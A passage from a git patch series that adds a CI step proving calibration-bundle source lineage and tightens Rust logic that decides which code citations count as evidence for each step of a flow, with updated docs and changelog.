the step fails closed. + unenforced = _run_lineage_probe( + _lineage_probe_arguments(enforce_calibration_freeze_lineage=False) + ) + require( + unenforced["outcome"] == "qualification proof rejects calibration inputs", + "a version-only proof accepted calibration inputs without enforcing the " + f"freeze lineage: {unenforced['outcome']}", + ) + require( + "bundle_verification" not in unenforced, + "an unenforced version-only proof still verified the calibration bundle", + ) + + def run_calibration_lineage_self_tests() -> None: with tempfile.TemporaryDirectory() as raw: root = Path(raw) / "calibration-lineage" @@ -263,3 +400,4 @@ def run_calibration_lineage_self_tests() -> None: _rejects_identity_and_checkout_drift(root, calibration, frozen) _rejects_calibrate_then_bump(root, calibration) _rejects_missing_freeze_and_unrelated_history(root, frozen) + _version_only_invocation_enforces_the_lineage() diff --git a/.github/workflows/packaged-platform-proof.yml b/.github/workflows/packaged-platform-proof.yml index e4b716d15..812121056 100644 --- a/.github/workflows/packaged-platform-proof.yml +++ b/.github/workflows/packaged-platform-proof.yml @@ -807,10 +807,14 @@ jobs: path: target/release-quality-evidence - name: Authenticate calibration bundle producer + # Gated on the bundle itself, not on optional release evidence. The + # frozen-candidate qualification lane is the only caller that names a + # bundle, and it is forbidden from carrying release evidence, so + # gating these steps on quality evidence made them unreachable. if: >- matrix.asset_target == 'linux-x64' && !inputs.calibration_mode && - inputs.quality_evidence_artifact != '' + inputs.calibration_bundle_artifact != '' shell: bash env: GH_TOKEN: ${{ github.token }} @@ -836,7 +840,7 @@ jobs: if: >- matrix.asset_target == 'linux-x64' && !inputs.calibration_mode && - inputs.quality_evidence_artifact != '' + inputs.calibration_bundle_artifact != '' uses: actions/download-artifact@v8.0.1 with: name: ${{ inputs.calibration_bundle_artifact }} @@ -844,6 +848,61 @@ jobs: run-id: ${{ inputs.calibration_bundle_run_id }} github-token: ${{ github.token }} + - name: Prove frozen calibration source lineage + # This is the reachable half of the freeze proof. The full frozen + # hosted_package qualification below additionally requires the optional + # exact-head release-evidence packet, which the frozen-candidate + # coordinator is forbidden to pass, so that invocation never runs. The + # source-lineage guard needs none of that: it needs the authenticated + # bundle and full history, both of which the qualification lane has. + # --version-only stops before the runtime proof but still loads and + # verifies the bundle, and without --enforce-calibration-freeze-lineage + # a version-only proof *rejects* calibration inputs outright -- so + # deleting the flag breaks this step loudly instead of silently + # dropping the guard. + if: >- + matrix.asset_target == 'linux-x64' && + !inputs.calibration_mode && + inputs.calibration_bundle_artifact != '' + shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + SOURCE_SHA: ${{ steps.source-identity.outputs.sha }} + SOURCE_TREE: ${{ steps.source-identity.outputs.tree }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} + run: | + set -euo pipefail + test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = frozen + calibration_bundle="$(find target/calibration-bundle -type f -name calibration-bundle.json -print)" + test "$(printf '%s\n' "$calibration_bundle" | sed '/^$/d' | wc -l | tr -d ' ')" = 1 + python .github/scripts/check-packaged-agent-proof.py \ + --archive "target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.tar.gz" \ + --checksum-file target/release-dist/SHA256SUMS.txt \ + --expected-version "$INPUT_VERSION" \ + --expected-source-sha "$SOURCE_SHA" \ + --expected-source-tree "$SOURCE_TREE" \ + --version-only \ + --proof-tier hosted_package \ + --calibration-bundle "$calibration_bundle" \ + --calibration-producer-run-id "$CALIBRATION_RUN_ID" \ + --calibration-producer-artifact "$CALIBRATION_ARTIFACT" \ + --enforce-calibration-freeze-lineage \ + --out-dir target/packaged-calibration-lineage + + - name: Upload frozen calibration lineage proof + if: >- + always() && + matrix.asset_target == 'linux-x64' && + !inputs.calibration_mode && + inputs.calibration_bundle_artifact != '' + uses: actions/upload-artifact@v7.0.1 + with: + name: packaged-calibration-lineage-${{ matrix.asset_target }}-attempt-${{ github.run_attempt }} + path: target/packaged-calibration-lineage + if-no-files-found: warn + retention-days: 30 + - name: Packaged per-user server calibration or qualification if: >- matrix.asset_target == 'linux-x64' && diff --git a/AGENTS.md b/AGENTS.md index e266d092f..3789266a5 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -218,9 +218,11 @@ adapter to compensate for incorrect upstream state. - `plugins/codestory/.github/plugin/plugin.json` - Release ordering is **bump-then-calibrate**. Bump the version first, calibrate the per-user embedding server on the bumped tree, land the - constant-set freeze commit, then package and release. The frozen packaged - qualification enforces this: the calibration commit must be an ancestor of the - packaged commit and + constant-set freeze commit, then package and release. The frozen-candidate + `qualification` dispatch enforces this -- it is the only lane that carries a + calibration bundle, and its packaged proof runs + `Prove frozen calibration source lineage` whenever one arrives: the + calibration commit must be an ancestor of the packaged commit and `crates/codestory-llama-sys/per-user-embedding-server-constant-set.json` must be the only file that differs between them. A calibrate-then-bump ordering fails the guard by name; the fix is to move the bump ahead of calibration and diff --git a/docs/contributors/testing-matrix.md b/docs/contributors/testing-matrix.md index c96bda982..6cc03aeb8 100644 --- a/docs/contributors/testing-matrix.md +++ b/docs/contributors/testing-matrix.md @@ -218,14 +218,21 @@ claim. `--proof-tier calibration` may collect draft measurements, but cannot satisfy a package, hardware, installed, or release claim. A higher qualification tier requires a frozen constant set and a retained qualification record. -`--proof-tier hosted_package` also passes +A packaged proof handed an authenticated calibration bundle -- the manually +dispatched `qualification` frozen-candidate lane -- runs one extra +`--version-only --proof-tier hosted_package` invocation with `--enforce-calibration-freeze-lineage`, which requires the calibration commit to be an ancestor of the packaged commit with `crates/codestory-llama-sys/per-user-embedding-server-constant-set.json` as the only differing path. Release ordering is therefore bump-then-calibrate: bump the version, calibrate on the bumped tree, then freeze and release. A calibrate-then-bump ordering fails the guard, which names the offending paths -and the required ordering in its failure message. +and the required ordering in its failure message. Dropping the flag does not +weaken that invocation, it breaks it: a `--version-only` proof rejects +calibration inputs unless the lineage is enforced. The heavier frozen +`hosted_package` qualification carries the same flag but stays dark while it +requires the optional release-evidence packet that package proof must not +depend on. `--produce-qualification-evidence` requires the separate `codestory-embedding-qualification` driver through `--qualification-driver`. The harness passes the exact packaged executable to that driver through diff --git a/docs/testing/per-user-embedding-server-qualification.md b/docs/testing/per-user-embedding-server-qualification.md index a45862fef..053a71ec5 100644 --- a/docs/testing/per-user-embedding-server-qualification.md +++ b/docs/testing/per-user-embedding-server-qualification.md @@ -182,15 +182,35 @@ consumer binds the run ID, exact `embedding-calibration-bundle-` artifact name, unexpired artifact record, source commit, and bundle producer identity before applying the frozen thresholds. -The frozen `hosted_package` qualification additionally passes -`--enforce-calibration-freeze-lineage`, so the exact calibration-to-package -source lineage is proved rather than assumed: the calibration commit must be an -ancestor of the packaged commit, the verification checkout must be that packaged -commit, and +The `Prove frozen calibration source lineage` step of +`packaged-platform-proof.yml` passes `--enforce-calibration-freeze-lineage`, so +the exact calibration-to-package source lineage is proved rather than assumed: +the calibration commit must be an ancestor of the packaged commit, the +verification checkout must be that packaged commit, and `crates/codestory-llama-sys/per-user-embedding-server-constant-set.json` must be the only path that differs between them. The packaged proof therefore checks out full history. +That step runs on every packaged proof that is handed an authenticated +calibration bundle, which is the manually dispatched `qualification` mode of +`packaged-platform-pr.yml` -- the frozen-candidate lane. It is a `--version-only` +invocation: it verifies the package identity, the frozen contract, and the bundle +with its lineage, and stops before the runtime proof. Without the enforcement +flag a `--version-only` proof rejects calibration inputs outright, so the flag +cannot be dropped without the step failing. + +The full frozen `hosted_package` qualification in the same workflow carries the +same flag, but it cannot run today: `--produce-qualification-evidence` requires +the exact-head release-evidence `packet-runtime-summary.json` at any +non-calibration tier, and `packaged-platform-pr.yml` is required to pass no +release evidence to package proof. The `protected_hardware` bundle consumers on +the Metal, Windows Vulkan, and Linux Vulkan lanes are likewise exempt: on the +release path they run `--server-behavior-only`, which takes their no-bundle +branch, and on the coordinator path they carry the same release-evidence +requirement. The lineage is proved once, on the frozen candidate, and the later +package proofs consume the already-frozen constant set rather than re-proving how +it was reached. + That rule fixes the release ordering to **bump-then-calibrate**: bump the version first with `node scripts/bump-version.mjs --version `, calibrate on the bumped tree, then land the constant-set freeze commit as the From e287bfdc2d28239d58e8579a5538da85192db14b Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 19:39:03 -0500 Subject: [PATCH 068/132] stop a file name or a single word from deciding which step a citation proves MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Last round stripped a citation's *directories* before asking the role classifier what kind of thing it is, and the commit body claimed "a path can still take a role away and never hand one out". That was false as written. A file name is a path segment like any other and the classifier reads it the same way, so the defect survived one level down: `runtime.c`, `store.ts`, `signal_dispatch.rs`, `*_events.jsonl` and a `buffer` stem each still handed out a role on their own. `signalHandler` in `src/os/runtime.c` proved a server's dispatch step; `SnapshotDiffViewer` in `src/ui/store.ts` proved an indexer's persistence step; the identical symbols one directory over proved nothing. The generated corpus could not see it because it hardcoded the file name and varied only the folder. The whole path now goes, down to the extension. The `.sql` roles keep the extension because a schema file genuinely is the evidence; nothing else about a path can grant a role, and since the full-path answer still has to match first this can only reject. Three carriers were still taking their subsystem from the directory, two of them outside the module header's declared exception list. `is_form_validation_surface` and `belongs_to_logging` now read the name, as their own sibling `citation_owns_log_record_creation` already did: `clampMin` in `src/forms/` and `PaymentHandler.process` in `src/logging/` closed a requirement that the same symbol one folder over did not. The larger hole was a word satisfying both of a carrier's two factors while looking like two. `Layout.render` in `src/components/layout.tsx` has a subsystem word, a step word and a matching folder — and the subsystem word, the folder and the object being rendered are all the one noun "layout", which every front end uses. The same collapse ran through `FrameBuffer` and `SegmentTree.read` (a graphics buffer and an algorithm proving a byte-IO pipeline), `sourceMapOptions` and `RoadMapPlanner` (a build config and a route planner proving an object mapper), `readFile`/`writeFile`/`document.write` (a file is what every program reads), `dispatchRider`, `ChartAdapter` and `validationMinScore`. Five of the six carrier-backed flows reached a fully-closed Sufficient verdict on citations that proved none of the flow. So a compound noun whose head is a flow's subject word now has to say with its other word that it belongs there. A static site is named by a word only a static site uses, or by two different generic web nouns rather than one repeated between a name and its folder. A bare `map` has to say what it maps. A buffer is the buffer, or names an IO peer. A handler is a record pipeline's when its qualifier is structural rather than a domain noun. `dispatch`, `adapter` and the validation verbs leave the subsystem lists they shared with their own step, the way `render` did last round. Two gates record what is left rather than leaving it to be rediscovered. The one-word surface's doc claimed to be "the exact surface on which an unrelated symbol can still be mistaken for evidence"; it was not, because every predicate matches tokens *inside* a name, so each entry was a family and the list said nothing about it. A second surface now sweeps the vocabulary crossed with off-subject qualifiers and records the families — nineteen, each one named, four of them irreducible against a real anchor of identical shape and one (`indexing_storage`) left open deliberately because closing it would make the requirement unreachable for Sourcetrail, whose storage anchors are `IndexerJava`, `StorageAccess` and `PersistentStorage`. The acceptance gate is per flow: a question that raises each of the six carrier flows, answered with off-subject citations, has to come back partial *and name the step it did not prove*. Partial for the wrong reason still tells the caller the wrong thing. Co-Authored-By: Claude Opus 5 --- CHANGELOG.md | 31 +- .../src/agent/packet_evidence_carriers.rs | 387 +++++++++--- .../src/agent/packet_evidence_roles.rs | 21 +- .../src/agent/packet_flow_requirements.rs | 572 ++++++++++++++++-- 4 files changed, 856 insertions(+), 155 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fe16000b9..781302114 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,15 +30,28 @@ input constraints, because "adminPanel" contains "min". Words are now matched whole, and a step also checks that the symbol belongs to the subsystem in question, so unrelated results no longer make a packet look complete. -- The folder a result sits in no longer decides which step it proves. Half of - the steps were matched by asking what kind of result something was, and that - question is largely answered by the file's directory — so everything under a - folder called `views`, `runtime`, `store` or `flags` proved whichever step - named that kind, whatever the result actually was. A chart renderer stood in - for a web server's entrypoint and a cache deletion stood in for an indexer - storing symbols. A result now has to say what it is by its own name, with the - folder only able to narrow that down, so a step is proved by evidence for that - step whichever half of the machinery matched it. +- The file a result sits in no longer decides which step it proves. Half of the + steps were matched by asking what kind of result something was, and that + question is largely answered by the file's path — so everything under a folder + called `views`, `runtime`, `store` or `flags` proved whichever step named that + kind, whatever the result actually was. A chart renderer stood in for a web + server's entrypoint and a cache deletion stood in for an indexer storing + symbols. A result now has to say what it is by its own name. The path is used + only to take a step away, never to hand one out — with one stated exception, + below. +- The exception is a file that *is* the evidence: a stylesheet, an HTML + document, a `.sql` schema, and the folder name of a static-site build. Their + anchors are selectors, attributes and statements with no symbol name to read, + so there the file still says what the result is about. +- A result also has to be about the step in more than one word. A name like + `FrameBuffer`, `sourceMapOptions`, `PaymentHandler.process` or `Layout.render` + reads as two signals until you notice both come from the same word, or from a + word every codebase uses for something else. Those four each closed a step of + a flow they have nothing to do with, and between them they closed five whole + flows — a graphics buffer and a segment tree proving a byte-IO pipeline, a + build config and a route planner proving an object mapper. The words that can + still decide a step on their own are now recorded in the codebase and checked + on every build, so the list cannot grow unnoticed. - When a question names more files than fit in the follow-up list, the missing parts of the flow are no longer pushed out of it. Follow-ups for requested files and for unproven steps now alternate, so both survive the limit. diff --git a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs index f50b48c1e..81992f904 100644 --- a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs +++ b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs @@ -15,12 +15,22 @@ //! a path-sourced subsystem re-opens the moment an off-subject symbol is filed beside the evidence //! it is impersonating. //! +//! One word may not answer both questions even when it appears twice. `Layout.render` in +//! `src/components/layout.tsx` reads as two factors — a subsystem word and a step word — until you +//! notice that the subsystem word and the folder are the same noun, and that the noun is one every +//! front end uses. So a subsystem factor is satisfied either by a word specific to that subsystem, +//! or by two *different* generic words; and a compound noun whose head is the flow's subject +//! (`FrameBuffer`, `sourceMap`, `PaymentHandler`) has to say with its other word that it belongs +//! here. +//! //! Two surfaces are the exception, stated so the limit is visible rather than assumed. A //! stylesheet, a markup document and a schema file are proved *by the file*: their anchors are //! selectors, attributes and statements with no identifier to scope by, so there the path is the -//! subsystem. And the static-site carriers take their subsystem from either, because a build phase -//! is named for its phase and not for the site — which is why those two carry a second name-side -//! factor of their own. +//! subsystem — this is why `is_form_validation_surface` still reads the path for a `.html` anchor +//! and only for that. And the static-site carriers take their subsystem from either, because a +//! build phase is named for its phase and not for the site — which is why those two carry a second +//! name-side factor of their own, and why the word they read from a directory has to be one only a +//! static site uses. use crate::agent::packet_scoring::{normalize_identifier, packet_display_path}; use codestory_contracts::api::{AgentCitationDto, NodeKind}; @@ -159,6 +169,13 @@ fn names_token_prefix(citation: &AgentCitationDto, prefixes: &[&str]) -> bool { /// The verb list is the whole HTTP method set, so the terminal-segment test alone accepts every /// `.get`, `.post`, `.delete` and `.options` in a repository — `Store.get`, `Queue.head`, /// `FeatureFlags.options`. The receiver has to be a client before its verb means anything. +/// +/// "request" is the one verb in the method set that is also a word in the client list, so a symbol +/// named `X.request` satisfies both factors with one word. That is not closable here: a real +/// client's own request method is routinely spelled exactly that way, with the receiver naming the +/// library rather than the word "client", and nothing in a name separates it from a +/// `FrameKind.request` somewhere else in the repository. It is recorded as a family in +/// `COMPOUND_EVIDENCE_SURFACE` rather than left for the next reviewer to find again. pub(crate) fn citation_owns_client_request_method(citation: &AgentCitationDto) -> bool { matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) && belongs_to_http_client(citation) @@ -174,25 +191,24 @@ pub(crate) fn citation_owns_client_request_method(citation: &AgentCitationDto) - /// Read from the symbol's own name and not its path. A directory named `client/` or `http/` holds /// plenty of symbols that are not the client — moving `Store.get` into `lib/client.dart` must not /// turn it into the client's request method, and a path-sourced subsystem is exactly what would. +const HTTP_CLIENT_WORDS: &[&str] = &[ + "request", + "requests", + "http", + "https", + "client", + "clients", + "adapter", + "adapters", + "transport", + "transports", + "send", + "sends", + "fetch", +]; + fn belongs_to_http_client(citation: &AgentCitationDto) -> bool { - names_token( - citation, - &[ - "request", - "requests", - "http", - "https", - "client", - "clients", - "adapter", - "adapters", - "transport", - "transports", - "send", - "sends", - "fetch", - ], - ) + names_token(citation, HTTP_CLIENT_WORDS) } /// The step that turns a configured request into a transport-ready one. @@ -352,29 +368,46 @@ pub(crate) fn citation_owns_css_animation_structure(citation: &AgentCitationDto) /// Being a script or a document was the only scoping these carriers had, so `determineFieldOrder` /// in `src/layout.js` (whose name contains "min") and `submitTelemetry` in `src/telemetry.js` closed /// requirements about form markup they never touch. +/// +/// On a **script** surface the form factor is read from the anchor's own name. Reading it from the +/// path too meant a directory supplied the subsystem, and any off-subject symbol filed beside the +/// real evidence inherited it: `clampMin` in `src/forms/layout.ts` closed the native-constraint +/// requirement while the identical `clampMin` in `src/render/layout.ts` closed nothing, so the +/// folder — not the symbol — decided whether the packet was sufficient. +/// +/// A **markup document** is the exception the module header states: its anchors are attributes and +/// selectors like `required` or `pattern`, which have no identifier to scope by, so there the file +/// is the subsystem and the path may carry the form factor. +/// Words that say the anchor is about a *form*. +/// +/// "validate", "validates", "validation", "validations", "invalid" and "preventdefault" used to be +/// here and are gone. Each is a word the carriers below use as their *step*, and a subsystem list +/// and a step list that share a word give the carrier one factor rather than two. Validation is +/// also universal — schema validation, licence validation, password-strength validation — so +/// `validationMin`, `validationCheck` and `validationSubmit` closed all three requirements of this +/// flow between them, out of a repository with no form in it. +/// +/// "validity" stays, because it is the one of them that is a *form control's* own noun rather than +/// a generic activity: `ValidityState` and `element.validity` are the constraint-validation API, +/// which is where the real anchors `setCustomValidity` and `renderValidityMessage` get it from. +/// That it is also `form_custom_validation`'s step word is recorded in the evidence surfaces. +const FORM_SUBSYSTEM_WORDS: &[&str] = &[ + "form", + "forms", + "fieldset", + "validity", + "constraint", + "constraints", + "guard", + "guards", +]; + fn is_form_validation_surface(citation: &AgentCitationDto) -> bool { - let on_a_browser_surface = is_markup_document(citation) - || path_has_any_extension(citation, &[".js", ".mjs", ".cjs", ".ts", ".jsx", ".tsx"]); - on_a_browser_surface - && names_or_path_token( - citation, - &[ - "form", - "forms", - "fieldset", - "validation", - "validations", - "validate", - "validates", - "validity", - "invalid", - "constraint", - "constraints", - "guard", - "guards", - "preventdefault", - ], - ) + if is_markup_document(citation) { + return names_or_path_token(citation, FORM_SUBSYSTEM_WORDS); + } + path_has_any_extension(citation, &[".js", ".mjs", ".cjs", ".ts", ".jsx", ".tsx"]) + && names_token(citation, FORM_SUBSYSTEM_WORDS) } pub(crate) fn citation_owns_form_native_constraint(citation: &AgentCitationDto) -> bool { @@ -449,8 +482,43 @@ pub(crate) fn citation_owns_shell_completion(citation: &AgentCitationDto) -> boo // Buffered IO // --------------------------------------------------------------------------- +/// "segment" is gone. It is the head of `SegmentTree`, `SegmentDescriptor` and every other +/// segmented structure in software, and it was the whole of this factor: `SegmentTree.read` closed +/// the read/write step of a byte-buffer flow it has nothing to do with. No expected symbol of the +/// buffered-IO corpus is named for a segment. fn names_buffer(citation: &AgentCitationDto) -> bool { - names_token_prefix(citation, &["buffer", "segment"]) + names_token_prefix(citation, &["buffer"]) +} + +/// The peers a byte buffer sits between. This is the second factor: it says the anchor is in an IO +/// pipeline and not merely that some word in it ends in "buffer". +fn names_io_peer(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "source", "sources", "sink", "sinks", "stream", "streams", "byte", "bytes", "io", + "reader", "writer", "input", "output", "socket", "pipe", "channel", + ], + ) +} + +/// Whether some segment of the symbol's name is *nothing but* the buffer word — the type called +/// `Buffer`, the function called `buffer`, or a method hanging off either. Such a name is the +/// buffer, which is the reading `ONE_WORD_EVIDENCE_SURFACE` records and intends. +/// +/// `FrameBuffer`, `ZBuffer` and `RingBufferStats` are not: the word beside the head noun says which +/// kind of buffer, and a pixel buffer is not the byte buffer this flow is about. Accepting them was +/// the same collapse as everywhere else in this module — one word answering both "is this the +/// buffered-IO subsystem" and "which step of it is this". +fn names_the_buffer_itself(citation: &AgentCitationDto) -> bool { + citation + .display_name + .split(['.', ':', '/', '\\']) + .filter(|segment| !segment.is_empty()) + .any(|segment| { + let tokens = identifier_tokens(segment); + tokens.len() == 1 && tokens[0].starts_with("buffer") + }) } fn names_io_operation(citation: &AgentCitationDto) -> bool { @@ -465,15 +533,23 @@ fn names_io_operation(citation: &AgentCitationDto) -> bool { /// The buffer itself — where bytes live between a source and a sink. pub(crate) fn citation_owns_buffer_storage(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && names_buffer(citation) && !names_io_operation(citation) + owns_behavior(citation) + && names_buffer(citation) + && !names_io_operation(citation) + && (names_the_buffer_itself(citation) || names_io_peer(citation)) } /// The operations that move bytes across that buffer. Sibling of `buffer_storage`, so a citation /// that only names the container must not close it. +/// +/// The buffer factor is `names_the_buffer_itself`, not `names_buffer`: reading a *frame* buffer or +/// a *segment* tree is not this step, and both closed it while any token ending in the head noun +/// counted. The `source`/`sink`/`stream` alternative is unchanged. pub(crate) fn citation_owns_buffer_read_write(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && names_io_operation(citation) - && (names_buffer(citation) || names_token(citation, &["source", "sink", "stream"])) + && (names_the_buffer_itself(citation) + || names_token(citation, &["source", "sink", "stream"])) } // --------------------------------------------------------------------------- @@ -483,8 +559,15 @@ pub(crate) fn citation_owns_buffer_read_write(citation: &AgentCitationDto) -> bo /// Anchors that belong to a logging subsystem. "record" and "handler" are two of the most reused /// words in any codebase — `createUserRecord` is a database row and `handleClick` is a UI callback — /// so a carrier that reads only those words speaks for every subsystem at once. +/// +/// Read from the *name*, the same way its sibling `citation_owns_log_record_creation` already reads +/// it. While this asked the path as well the two carriers disagreed about what a subsystem is: a +/// `createUserRecord` in `src/logging/` was correctly rejected as a database row, but a +/// `PaymentHandler.process` in the very same directory was accepted as the logger's handler step. +/// Closing the verb `handle*` left the noun-in-the-directory open, and any `*Handler.process` filed +/// beside a logger closed its dispatch step. fn belongs_to_logging(citation: &AgentCitationDto) -> bool { - names_or_path_token(citation, &["log", "logs", "logger", "loggers", "logging"]) + names_token(citation, &["log", "logs", "logger", "loggers", "logging"]) } /// Creating the record a logger emits. The logging factor is read from the *name*: a @@ -501,6 +584,47 @@ pub(crate) fn citation_owns_log_record_creation(citation: &AgentCitationDto) -> } } +/// The words a logging framework qualifies its handler classes with. +/// +/// "Handler" is the most reused noun in software, so the word beside it is what says whose handler +/// it is. A record pipeline qualifies it structurally or by the pipeline itself — an interface, an +/// abstract base, a processing stage, a group, a null implementation. Every other subsystem +/// qualifies the same noun with the domain it serves: `PaymentHandler`, `ClickHandler`, +/// `RequestHandler`. That difference is the only thing in the name that separates them, and it is +/// what the directory was standing in for. +const RECORD_PIPELINE_WORDS: &[&str] = &[ + "abstract", + "base", + "default", + "generic", + "null", + "noop", + "interface", + "interfaces", + "impl", + "implementation", + "processing", + "processor", + "processors", + "record", + "records", + "entry", + "entries", + "formatter", + "formatters", + "formatted", + "group", + "chain", + "stack", + "fallback", +]; + +/// Whether the anchor belongs to a record pipeline: it says "log", or the words it qualifies its +/// handler with are the pipeline's own structural vocabulary rather than a domain noun. +fn belongs_to_record_pipeline(citation: &AgentCitationDto) -> bool { + belongs_to_logging(citation) || names_token(citation, RECORD_PIPELINE_WORDS) +} + /// Processing a record, not registering something that might: a symbol that pushes a handler onto /// a stack names a handler but does nothing with a record, so it must not close this requirement. /// @@ -509,7 +633,7 @@ pub(crate) fn citation_owns_log_record_creation(citation: &AgentCitationDto) -> /// and were each accepted here, because `handle` is a prefix of `handler` and the second factor /// accepted the same prefix again. pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && belongs_to_logging(citation) && { + owns_behavior(citation) && belongs_to_record_pipeline(citation) && { let tokens = name_tokens(citation); let names_a_handler = has_token(&tokens, &["handler", "handlers"]); let only_registers = has_token( @@ -527,41 +651,74 @@ pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) // Static-site build // --------------------------------------------------------------------------- +/// The words that name a *static site* and little else. +/// +/// "view"/"views" is deliberately absent: it is the MVC directory every server framework ships, and +/// `app/views/` in a Rails app is not a static site. "render" is absent because it is this flow's +/// *step*, not its subject — a carrier whose subsystem factor and step factor can both be satisfied +/// by one word has one factor, which is how `renderChart` proved a site renderer. The noun +/// `renderer` stays. +const SITE_BUILD_STRONG_SUBJECT_WORDS: &[&str] = &["site", "sites", "static"]; + +/// Web nouns a static site shares with every other front end. +/// +/// `layout`, `page`, `template` and `document` are as much a component framework's vocabulary as a +/// site generator's, so one of them on its own does not put an anchor in this flow. Treating them +/// as sufficient is what let `Layout.render` in `src/components/layout.tsx`, `Page.render`, +/// `Template.render` and `document.write` each close the site's terminal boundary: the same single +/// word answered both "is this a static site" and "what is being rendered", so the carrier that +/// documents itself as having two factors had one. +const SITE_BUILD_WEAK_SUBJECT_WORDS: &[&str] = &[ + "page", + "pages", + "post", + "posts", + "layout", + "layouts", + "template", + "templates", + "document", + "documents", + "collection", + "collections", + "theme", + "themes", + "asset", + "assets", + "renderer", + "generator", +]; + +/// Singular and plural of one noun are one word, so `asset` in a name and `assets` in its directory +/// are not two independent signals. +fn is_the_same_word(left: &str, right: &str) -> bool { + let stem = |word: &str| word.strip_suffix('s').unwrap_or(word).to_string(); + stem(left) == stem(right) +} + /// Anchors that belong to a static-site build. Without this, `Cache.write` in `lib/cache.rb` closed /// the site's terminal boundary purely because its name contains "write". /// -/// Two words are deliberately absent. "view"/"views" is the MVC directory every server framework -/// ships — `app/views/` in a Rails app is not a static site, and admitting it let `Cache.write` and -/// `renderChart` back in through the path. "render" is this flow's *step*, not its subject: a -/// carrier whose subsystem factor and step factor can both be satisfied by one word has one factor, -/// which is how `renderChart` proved a site renderer. The noun `renderer` stays. +/// This flow is the module header's declared path exception, so the subsystem may be read from the +/// directory — but what is read has to be a word only a static site uses, or two different generic +/// web nouns. One generic noun repeated between the name and the folder it sits in is one signal, +/// not two. fn belongs_to_site_build(citation: &AgentCitationDto) -> bool { - names_or_path_token( - citation, - &[ - "site", - "sites", - "page", - "pages", - "post", - "posts", - "layout", - "layouts", - "template", - "templates", - "document", - "documents", - "collection", - "collections", - "static", - "theme", - "themes", - "asset", - "assets", - "renderer", - "generator", - ], - ) + let mut tokens = name_tokens(citation); + tokens.extend(path_tokens(citation)); + if has_token(&tokens, SITE_BUILD_STRONG_SUBJECT_WORDS) { + return true; + } + let mut weak: Vec<&String> = Vec::new(); + for token in &tokens { + if !SITE_BUILD_WEAK_SUBJECT_WORDS.contains(&token.as_str()) { + continue; + } + if !weak.iter().any(|seen| is_the_same_word(seen, token)) { + weak.push(token); + } + } + weak.len() >= 2 } /// The site-build flow is the one place a *path* still supplies the subsystem: a build phase is @@ -572,6 +729,11 @@ fn belongs_to_site_build(citation: &AgentCitationDto) -> bool { /// /// The name has to say *what* is being built or written, and separately *what is being done to it*. /// One word may not do both jobs. +/// +/// "file"/"files" and "document"/"documents" are gone. They are what every `readFile`, `writeFile` +/// and `document.write` in every repository rode in on: a file is what *any* program reads and +/// writes, so as the object of a build step it says nothing, and the words that remain name +/// something a site build in particular produces. fn names_site_build_object(citation: &AgentCitationDto) -> bool { names_token( citation, @@ -586,8 +748,6 @@ fn names_site_build_object(citation: &AgentCitationDto) -> bool { "pages", "post", "posts", - "document", - "documents", "layout", "layouts", "template", @@ -599,8 +759,6 @@ fn names_site_build_object(citation: &AgentCitationDto) -> bool { "assets", "theme", "themes", - "file", - "files", "html", ], ) @@ -635,18 +793,48 @@ pub(crate) fn citation_owns_site_terminal(citation: &AgentCitationDto) -> bool { // Object mapper // --------------------------------------------------------------------------- +/// The things an object mapper maps. A bare `map` is the most overloaded noun in the language, and +/// the compound it heads is what says which kind: `sourceMap` is a build artifact, `roadMap` and +/// `siteMap` are navigation, `heatMap` and `tileMap` are graphics. `typeMap` is an object mapper's +/// own noun, and so are the model words beside it. +const OBJECT_MAPPER_SUBJECT_WORDS: &[&str] = &[ + "type", + "types", + "object", + "objects", + "model", + "models", + "entity", + "entities", + "dto", + "dtos", + "member", + "members", + "property", + "properties", + "destination", + "class", + "classes", +]; + /// Anchors that belong to an object mapper. "profile" and "plan" are ordinary words — `userProfile` /// closed the mapper's configuration requirement until the carrier asked which subsystem it is in. /// /// Read from the name: any symbol dropped into a `mapping/` directory would otherwise inherit the /// subsystem it happens to be filed under. +/// +/// The noun forms — `mapper`, `mapping` — name the subsystem on their own. A bare `map` does not: +/// it is the head of every `sourceMap`, `roadMap`, `siteMap`, `heatMap` and `tileMap` in software, +/// and each of those satisfied this factor while a second, genuinely unrelated word ("options", +/// "config", "plan", "planner", "executor") satisfied the step. So `sourceMapOptions` proved a +/// mapper's configuration and `RoadMapPlanner` proved its execution plan, both of them anywhere in +/// any repository. A bare `map` counts only when what it maps is named beside it — which is what +/// the real anchors do, being named for the *type* map they build a plan for. fn belongs_to_object_mapper(citation: &AgentCitationDto) -> bool { - names_token( - citation, - &[ - "map", "maps", "mapper", "mappers", "mapping", "mappings", "typemap", - ], - ) + if names_token(citation, &["mapper", "mappers", "mapping", "mappings"]) { + return true; + } + names_token(citation, &["map", "maps"]) && names_token(citation, OBJECT_MAPPER_SUBJECT_WORDS) } fn names_mapper_configuration(citation: &AgentCitationDto) -> bool { @@ -789,8 +977,11 @@ pub(crate) fn flow_belongs_to_server_request(citation: &AgentCitationDto) -> boo "http", "https", "protocol", - "dispatch", - "dispatcher", + // "dispatch"/"dispatcher" are absent for the same reason "render" is absent from the + // static-site subject list: they are this flow's *step*, and the role classifier grants + // `RequestDispatch` from the same word. While both lists held it, `dispatchRider` — or + // any other name with "dispatch" in it — satisfied the subsystem factor and the role + // with one word and closed the dispatch step of two different flows. // The name 